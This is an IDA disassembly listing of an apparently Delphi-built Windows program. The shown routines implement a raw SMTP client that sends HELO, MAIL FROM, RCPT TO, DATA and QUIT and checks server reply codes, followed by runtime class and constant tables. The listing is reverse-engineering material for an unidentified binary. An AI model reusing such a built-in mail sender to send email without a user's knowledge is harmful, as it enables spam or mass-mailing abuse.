; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_412DD0	proc near		; CODE XREF: sub_412EA0+37p
					; sub_412EA0+76p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_412E81
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	esi, esi
		lea	ecx, [ebp+var_4]
		mov	edx, [ebx+8]
		mov	eax, [ebx+4]
		mov	edi, [eax]
		call	dword ptr [edi+18h]
		lea	eax, [ebx+14h]
		mov	edx, [ebp+var_4]
		call	sub_40351C
		mov	eax, [ebp+var_4]
		call	sub_403724
		cmp	eax, 3
		jl	short loc_412E51
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, 3
		mov	edx, 1
		mov	eax, [ebp+var_4]
		call	sub_40392C
		mov	eax, [ebp+var_8]
		xor	edx, edx
		call	sub_407058
		mov	esi, eax
		jmp	short loc_412E51
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412E36:				; CODE XREF: sub_412DD0+91j
		lea	ecx, [ebp+var_4]
		mov	edx, [ebx+8]
		mov	eax, [ebx+4]
		mov	edi, [eax]
		call	dword ptr [edi+18h]
		mov	eax, [ebx+4]
		cmp	dword ptr [eax+28h], 0
		jz	short loc_412E51
		xor	esi, esi
		jmp	short loc_412E63
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412E51:				; CODE XREF: sub_412DD0+40j
					; sub_412DD0+64j ...
		mov	edx, [ebp+var_4]
		mov	eax, offset dword_412E9C
		call	sub_4039B4
		cmp	eax, 4
		jz	short loc_412E36

loc_412E63:				; CODE XREF: sub_412DD0+7Fj
		mov	[ebx+10h], esi
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_412E88

loc_412E73:				; CODE XREF: CODE:00412E86j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_412DD0	endp ; sp = -1Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412E81:				; DATA XREF: sub_412DD0+Fo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_412E73
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412E88:				; DATA XREF: sub_412DD0+9Eo
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_412E9C	dd 2Dh			; DATA XREF: sub_412DD0+84o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_412EA0	proc near		; CODE XREF: sub_413258+67p
					; sub_418FBC+4Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_412F3F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		mov	ecx, offset aSmtp ; "smtp"
		mov	edx, [esi+0Ch]
		mov	eax, [esi+4]
		call	sub_40FAD4
		mov	eax, [esi+4]
		cmp	dword ptr [eax+28h], 0
		jnz	short loc_412F24
		mov	eax, esi
		call	sub_412DD0
		cmp	eax, 0DCh
		jnz	short loc_412F24
		push	offset dword_412F68
		lea	edx, [ebp+var_8]
		mov	edi, [esi+4]
		mov	eax, edi
		call	sub_410074
		push	[ebp+var_8]
		push	offset dword_412F78
		lea	eax, [ebp+var_4]
		mov	edx, 3
		call	sub_4037E4
		mov	edx, [ebp+var_4]
		mov	eax, edi
		mov	ecx, [eax]
		call	dword ptr [ecx+0Ch]
		mov	eax, esi
		call	sub_412DD0
		cmp	eax, 0FAh
		jnz	short loc_412F24
		mov	bl, 1

loc_412F24:				; CODE XREF: sub_412EA0+33j
					; sub_412EA0+41j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_412F46

loc_412F31:				; CODE XREF: CODE:00412F44j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_412EA0	endp ; sp = -28h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412F3F:				; DATA XREF: sub_412EA0+Fo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_412F31
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412F46:				; DATA XREF: sub_412EA0+8Co
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 4
aSmtp		db 'smtp',0             ; DATA XREF: sub_412EA0+1Co
		align 4
		dd 0FFFFFFFFh, 5
dword_412F68	dd 4F4C4548h, 20h, 0FFFFFFFFh, 2 ; DATA	XREF: sub_412EA0+43o
dword_412F78	dd 0A0Dh		; DATA XREF: sub_412EA0+58o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_412F7C	proc near		; CODE XREF: sub_413258+BCp
					; sub_418FBC+5Ep
		push	ebx
		mov	ebx, eax
		mov	edx, offset dword_412FA8
		mov	eax, [ebx+4]
		mov	ecx, [eax]
		call	dword ptr [ecx+0Ch]
		mov	eax, ebx
		call	sub_412DD0
		mov	eax, [ebx+4]
		call	sub_40FAC8
		pop	ebx
		retn
sub_412F7C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 6
dword_412FA8	dd 54495551h, 0A0Dh	; DATA XREF: sub_412F7C+3o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_412FB0	proc near		; CODE XREF: sub_413258+7Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	esi, eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_41302F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		push	offset dword_413048
		push	[ebp+var_4]
		push	offset dword_41305C
		push	offset dword_413068
		lea	eax, [ebp+var_8]
		mov	edx, 4
		call	sub_4037E4
		mov	edx, [ebp+var_8]
		mov	eax, [esi+4]
		mov	ecx, [eax]
		call	dword ptr [ecx+0Ch]
		mov	eax, esi
		call	sub_412DD0
		cmp	eax, 0FAh
		jnz	short loc_413014
		mov	bl, 1

loc_413014:				; CODE XREF: sub_412FB0+60j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_413036

loc_413021:				; CODE XREF: CODE:00413034j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_412FB0	endp ; sp = -28h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41302F:				; DATA XREF: sub_412FB0+1Do
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_413021
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413036:				; DATA XREF: sub_412FB0+6Co
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 0Bh
dword_413048	dd 4C49414Dh, 4F524620h, 3C3A4Dh, 0FFFFFFFFh, 1	; DATA XREF: sub_412FB0+2Ao
dword_41305C	dd 3Eh,	0FFFFFFFFh, 2	; DATA XREF: sub_412FB0+32o
dword_413068	dd 0A0Dh		; DATA XREF: sub_412FB0+37o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_41306C	proc near		; CODE XREF: sub_413258+93p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	esi, eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_4130EB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		push	offset dword_413104
		push	[ebp+var_4]
		push	offset dword_413118
		push	offset dword_413124
		lea	eax, [ebp+var_8]
		mov	edx, 4
		call	sub_4037E4
		mov	edx, [ebp+var_8]
		mov	eax, [esi+4]
		mov	ecx, [eax]
		call	dword ptr [ecx+0Ch]
		mov	eax, esi
		call	sub_412DD0
		cmp	eax, 0FAh
		jnz	short loc_4130D0
		mov	bl, 1

loc_4130D0:				; CODE XREF: sub_41306C+60j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4130F2

loc_4130DD:				; CODE XREF: CODE:004130F0j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_41306C	endp ; sp = -28h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4130EB:				; DATA XREF: sub_41306C+1Do
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4130DD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4130F2:				; DATA XREF: sub_41306C+6Co
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 9
dword_413104	dd 54504352h, 3A4F5420h, 3Ch, 0FFFFFFFFh, 1 ; DATA XREF: sub_41306C+2Ao
dword_413118	dd 3Eh,	0FFFFFFFFh, 2	; DATA XREF: sub_41306C+32o
dword_413124	dd 0A0Dh		; DATA XREF: sub_41306C+37o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_413128	proc near		; CODE XREF: sub_413258+A9p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_413212
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_5], 0
		mov	edx, offset dword_41322C
		mov	eax, [esi+4]
		mov	ecx, [eax]
		call	dword ptr [ecx+0Ch]
		mov	eax, esi
		call	sub_412DD0
		cmp	eax, 162h
		jnz	loc_4131F7
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	ebx, eax
		dec	ebx
		test	ebx, ebx
		jl	short loc_4131D8
		inc	ebx
		mov	[ebp+var_C], 0

loc_413186:				; CODE XREF: sub_413128+AEj
		lea	ecx, [ebp+var_10]
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	eax, [ebp+var_10]
		call	sub_403724
		dec	eax
		jl	short loc_4131B7
		mov	eax, [ebp+var_10]
		cmp	byte ptr [eax],	2Eh
		jnz	short loc_4131B7
		lea	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	edx, offset dword_41323C
		call	sub_403770

loc_4131B7:				; CODE XREF: sub_413128+75j
					; sub_413128+7Dj
		lea	eax, [ebp+var_14]
		mov	ecx, offset dword_413248
		mov	edx, [ebp+var_10]
		call	sub_403770
		mov	edx, [ebp+var_14]
		mov	eax, [esi+4]
		mov	ecx, [eax]
		call	dword ptr [ecx+0Ch]
		inc	[ebp+var_C]
		dec	ebx
		jnz	short loc_413186

loc_4131D8:				; CODE XREF: sub_413128+54j
		mov	edx, offset dword_413254
		mov	eax, [esi+4]
		mov	ecx, [eax]
		call	dword ptr [ecx+0Ch]
		mov	eax, esi
		call	sub_412DD0
		cmp	eax, 0FAh
		jnz	short loc_4131F7
		mov	[ebp+var_5], 1

loc_4131F7:				; CODE XREF: sub_413128+41j
					; sub_413128+C9j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_413219

loc_413204:				; CODE XREF: CODE:00413217j
		lea	eax, [ebp+var_14]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_413128	endp ; sp = -28h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413212:				; DATA XREF: sub_413128+19o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_413204
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413219:				; DATA XREF: sub_413128+D7o
		mov	al, [ebp-5]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 6
dword_41322C	dd 41544144h, 0A0Dh, 0FFFFFFFFh, 1 ; DATA XREF:	sub_413128+28o
dword_41323C	dd 2Eh,	0FFFFFFFFh, 2	; DATA XREF: sub_413128+85o
dword_413248	dd 0A0Dh, 0FFFFFFFFh, 3	; DATA XREF: sub_413128+92o
dword_413254	dd 0A0D2Eh		; DATA XREF: sub_413128+B0o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_413258	proc near		; CODE XREF: sub_4190CC+CCBp

var_14		= dword	ptr -14h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		mov	eax, [ebp+var_C]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_413355
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_D], 0
		mov	dl, 1
		mov	eax, ds:off_412CB8
		call	sub_412D28
		mov	[ebp+var_14], eax
		xor	eax, eax
		push	ebp
		push	offset loc_413333
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_14]
		add	eax, 0Ch
		mov	edx, [ebp+var_C]
		call	sub_40351C
		mov	eax, [ebp+var_14]
		call	sub_412EA0
		test	al, al
		jnz	short loc_4132CF
		call	sub_403038
		jmp	short loc_41333A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4132CF:				; CODE XREF: sub_413258+6Ej
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_14]
		call	sub_412FB0
		test	al, al
		jnz	short loc_4132E5
		call	sub_403038
		jmp	short loc_41333A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4132E5:				; CODE XREF: sub_413258+84j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_14]
		call	sub_41306C
		test	al, al
		jnz	short loc_4132FB
		call	sub_403038
		jmp	short loc_41333A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4132FB:				; CODE XREF: sub_413258+9Aj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		call	sub_413128
		test	al, al
		jnz	short loc_413311
		call	sub_403038
		jmp	short loc_41333A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413311:				; CODE XREF: sub_413258+B0j
		mov	eax, [ebp+var_14]
		call	sub_412F7C
		mov	[ebp+var_D], 1
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41333A

loc_41332A:				; CODE XREF: sub_413258+E0j
		mov	eax, [ebp+var_14]
		call	sub_402BDC
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413333:				; DATA XREF: sub_413258+4Bo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_41332A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41333A:				; CODE XREF: sub_413258+75j
					; sub_413258+8Bj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41335C

loc_413347:				; CODE XREF: CODE:0041335Aj
		lea	eax, [ebp+var_C]
		mov	edx, 3
		call	sub_4034EC
		retn
sub_413258	endp ; sp = -1Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413355:				; DATA XREF: sub_413258+2Ao
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_413347
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41335C:				; DATA XREF: sub_413258+EAo
		mov	al, [ebp-0Dh]
		mov	esp, ebp
		pop	ebp
		retn	4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_413368	proc near		; DATA XREF: CODE:0041A988o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_41338D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E670
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_413394

locret_41338C:				; CODE XREF: sub_413368+2Aj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41338D:				; DATA XREF: sub_413368+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_41338C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_413394:				; CODE XREF: sub_413368+24j
					; DATA XREF: sub_413368+1Fo
		pop	ebp
		retn
sub_413368	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_413398:				; DATA XREF: CODE:0041A984o
		sub	ds:dword_41E670, 1
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_4133A0	dd offset dword_4133A4	; DATA XREF: CODE:00415E4Cr
dword_4133A4	dd 43540601h, 726F6C6Fh, 4, 0FFFFFF80h,	408D7Fh	; DATA XREF: CODE:004133A0o
off_4133B8	dd offset dword_413404	; DATA XREF: sub_4143A8+7r
		dd 7 dup(0)
		dd offset dword_413404
		dd 0Ch
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_413404	dd 6E49450Fh, 696C6176h, 61724764h, 63696870h ;	DATA XREF: CODE:004133B8o
					; CODE:004133D8o
off_413414	dd offset dword_413460	; DATA XREF: sub_414390+7r
		dd 7 dup(0)
		dd offset dword_413460
		dd 0Ch
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_413460	dd 6E494518h, 696C6176h, 61724764h, 63696870h, 7265704Fh
					; DATA XREF: CODE:00413414o
					; CODE:00413434o
		dd 6F697461h, 408D6Eh
off_41347C	dd offset dword_413480	; DATA XREF: CODE:00415E60r
dword_413480	dd 46540C01h, 43746E6Fh, 73726168h, 17465h, 0FF000000h
					; DATA XREF: CODE:0041347Co
		dd 90000000h
off_413498	dd offset off_4134E4	; DATA XREF: CODE:00413660o
					; sub_415144+1Br
		dd 3 dup(0)
		dd offset dword_41355C
		dd 2 dup(0)
		dd offset dword_413544
		dd offset dword_41354C
		dd 1Ch
		dd offset off_40B978
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_40C520
off_4134E4	dd offset loc_40C630	; DATA XREF: CODE:00413498o
					; CODE:00413566o
		dd offset sub_41519C
		dd offset sub_40C54C
		dd offset sub_4150F4
		dd offset sub_41512C
		dd offset loc_4027FC
		dd offset sub_4151E8
		dd offset loc_4027FC
		dd offset loc_4027FC
		dd offset loc_41532C
		dd offset loc_415330
		dd offset loc_4027FC
		dd offset loc_4153B0
		dd offset loc_4027FC
		dd offset nullsub_12
		dd offset loc_415418
		dd offset loc_4027FC
		dd offset loc_415428
		dd offset sub_415334
		dd offset sub_4153BC
		dd offset loc_4027FC
		dd offset loc_4027FC
		dd offset loc_4027FC
		dd offset loc_4027FC
dword_413544	dd 0FFFD0001h		; DATA XREF: CODE:004134B4o
		dd offset sub_415388
dword_41354C	dd 72475408h, 69687061h, 408D63h ; DATA	XREF: CODE:004134B8o
off_413558	dd offset dword_41355C	; DATA XREF: CODE:004136FBo
dword_41355C	dd 47540807h, 68706172h	; DATA XREF: CODE:004134A8o
					; CODE:00413558o
		db 69h,	63h
		dd offset off_4134E4
		dd offset off_40B9EC
		align 4
		dd 61724708h, 63696870h, 90000073h
off_41357C	dd offset off_4135C8	; DATA XREF: CODE:00413604o
		dd 7 dup(0)
		dd offset dword_4135CC
		dd 8
		dd offset off_40100C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
off_4135C8	dd offset loc_4027FC	; DATA XREF: CODE:0041357Co
dword_4135CC	dd 6853540Ch, 64657261h, 67616D49h, 408D65h ; DATA XREF: CODE:0041359Co
off_4135DC	dd offset off_413628	; DATA XREF: sub_4155EC+22r
					; sub_415948+Fr
		dd 7 dup(0)
		dd offset dword_41362C
		dd 18h
		dd offset off_41357C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_4155A4
off_413628	dd offset sub_4155D4	; DATA XREF: CODE:004135DCo
dword_41362C	dd 6349540Ah, 6D496E6Fh, 90656761h ; DATA XREF:	CODE:004135FCo
off_413638	dd offset off_413684	; DATA XREF: sub_415670+Dr
					; sub_416478+161r
		dd 3 dup(0)
		dd offset dword_4136F0
		dd 3 dup(0)
		dd offset dword_4136E4
		align 8
		dd offset off_413498
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_415640
off_413684	dd offset loc_40C630	; DATA XREF: CODE:00413638o
					; CODE:004136F7o
		dd offset sub_41519C
		dd offset sub_415670
		dd offset sub_4155EC
		dd offset sub_41512C
		dd offset sub_4156D0
		dd offset sub_4151E8
		dd offset loc_415710
		dd offset loc_41573C
		dd offset loc_41532C
		dd offset loc_415330
		dd offset loc_415750
		dd offset loc_4153B0
		dd offset loc_4159D4
		dd offset nullsub_12
		dd offset nullsub_13
		dd offset loc_4159F0
		dd offset loc_415428
		dd offset sub_415334
		dd offset sub_4153BC
		dd offset sub_415890
		dd offset sub_415A08
		dd offset sub_415A34
		dd offset sub_415A48
dword_4136E4	dd 63495405h, 0C08B6E6Fh ; DATA	XREF: CODE:00413658o
		dd offset dword_4136F0
dword_4136F0	dd 49540507h		; DATA XREF: CODE:00413648o
					; CODE:004136ECo
		db 63h,	6Fh, 6Eh
		dd offset off_413684
		dd offset off_413558
		dd 47080000h, 68706172h, 736369h
		align 4
off_41370C	dd offset dword_413758	; DATA XREF: CODE:00415DD7o
					; CODE:00415DECo ...
		dd 7 dup(0)
		dd offset dword_413758
		dd 24h
		dd offset off_40100C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_4137A8
dword_413758	dd 65525410h, 72756F73h, 614D6563h, 6567616Eh, 408D72h
					; DATA XREF: CODE:0041370Co
					; CODE:0041372Co
		dd 0D2845653h, 0C4830874h, 0F562E8F0h, 0DA8BFFFEh, 8966F08Bh
		dd 468D204Eh, 19E85008h, 8BFFFF25h, 74DB84C6h, 0F59EE80Fh
		dd 8F64FFFEh, 5, 0CC48300h, 5B5EC68Bh, 408DC3h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4137A8	proc near		; DATA XREF: CODE:00413754o
		push	ebx
		push	esi
		call	sub_402D3C
		mov	ebx, edx
		mov	esi, eax
		lea	eax, [esi+8]
		push	eax
		call	j_DeleteCriticalSection_0
		test	bl, bl
		jle	short loc_4137C7
		mov	eax, esi
		call	sub_402D2C

loc_4137C7:				; CODE XREF: sub_4137A8+16j
		pop	esi
		pop	ebx
		retn
sub_4137A8	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4137CC	proc near		; CODE XREF: sub_413D40+3Ap
					; sub_413EF0+1Ap ...
		add	eax, 8
		push	eax
		call	j_EnterCriticalSection_0
		retn
sub_4137CC	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4137D8	proc near		; CODE XREF: sub_413D40+15Bp
					; sub_413EF0+80p ...
		add	eax, 8
		push	eax
		call	j_LeaveCriticalSection_0
		retn
sub_4137D8	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
dword_4137E4	dd 0FFFFFFFFh, 7, 6C426C63h, 6B6361h, 0FFFFFFFFh, 8, 614D6C63h
					; DATA XREF: DATA:0041D85Co
		dd 6E6F6F72h, 0, 0FFFFFFFFh, 7,	72476C63h, 6E6565h, 0FFFFFFFFh
		dd 7, 6C4F6C63h, 657669h, 0FFFFFFFFh, 6, 614E6C63h, 7976h
		dd 0FFFFFFFFh, 8, 75506C63h, 656C7072h,	0, 0FFFFFFFFh
		dd 6, 65546C63h, 6C61h,	0FFFFFFFFh, 6, 72476C63h, 7961h
		dd 0FFFFFFFFh, 8, 69536C63h, 7265766Ch,	0, 0FFFFFFFFh
		dd 5, 65526C63h, 64h, 0FFFFFFFFh, 6, 694C6C63h,	656Dh
		dd 0FFFFFFFFh, 8, 65596C63h, 776F6C6Ch,	0, 0FFFFFFFFh
		dd 6, 6C426C63h, 6575h,	0FFFFFFFFh, 9, 75466C63h, 69736863h
		dd 61h,	0FFFFFFFFh, 6, 71416C63h, 6175h, 0FFFFFFFFh, 7
		dd 68576C63h, 657469h, 0FFFFFFFFh, 0Bh,	63536C63h, 6C6C6F72h
		dd 726142h, 0FFFFFFFFh,	0Ch, 61426C63h,	72676B63h, 646E756Fh
		dd 0, 0FFFFFFFFh, 0Fh, 63416C63h, 65766974h, 74706143h
		dd 6E6F69h, 0FFFFFFFFh,	11h, 6E496C63h,	69746361h, 61436576h
		dd 6F697470h, 6Eh, 0FFFFFFFFh, 6, 654D6C63h, 756Eh, 0FFFFFFFFh
		dd 8, 69576C63h, 776F646Eh, 0, 0FFFFFFFFh, 0Dh,	69576C63h
		dd 776F646Eh, 6D617246h, 65h, 0FFFFFFFFh, 0Ah, 654D6C63h
